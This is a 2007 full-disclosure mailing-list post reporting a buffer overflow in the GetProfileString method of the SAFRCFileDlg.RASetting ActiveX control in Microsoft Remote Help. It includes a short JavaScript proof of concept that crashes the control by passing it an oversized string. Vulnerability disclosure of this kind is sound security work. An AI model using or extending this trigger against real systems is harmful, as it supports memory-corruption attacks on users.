full-disclosure - Microsoft Remote Help safrcdlg.dll Buffer Overflow

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Message-ID: <1613504.1194896704255.JavaMail.root@elwamui-lapwing.atl.sa.earthlink.net>
Date: Mon, 12 Nov 2007 14:45:03 -0500 (EST)
From: Elazar Broad <elazarb@...thlink.net>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: Microsoft Remote Help safrcdlg.dll Buffer Overflow

The GetProfileString function of the SAFRCFileDlg.RASetting control contains a buffer overflow. This control is NOT marked safe for scripting, and seems to execute in the context of the user, so I am not sure what can be done maliciously with this. Never the less, it is a buffer overflow. PoC as follows:

------------------
//written by e.b.
var s = "AAAA";
while (s.length < 999 * 999) s=s+s;

var obj = new ActiveXObject("SAFRCFileDlg.RASetting");

obj.GetProfileString(s);
------------------

Elazar

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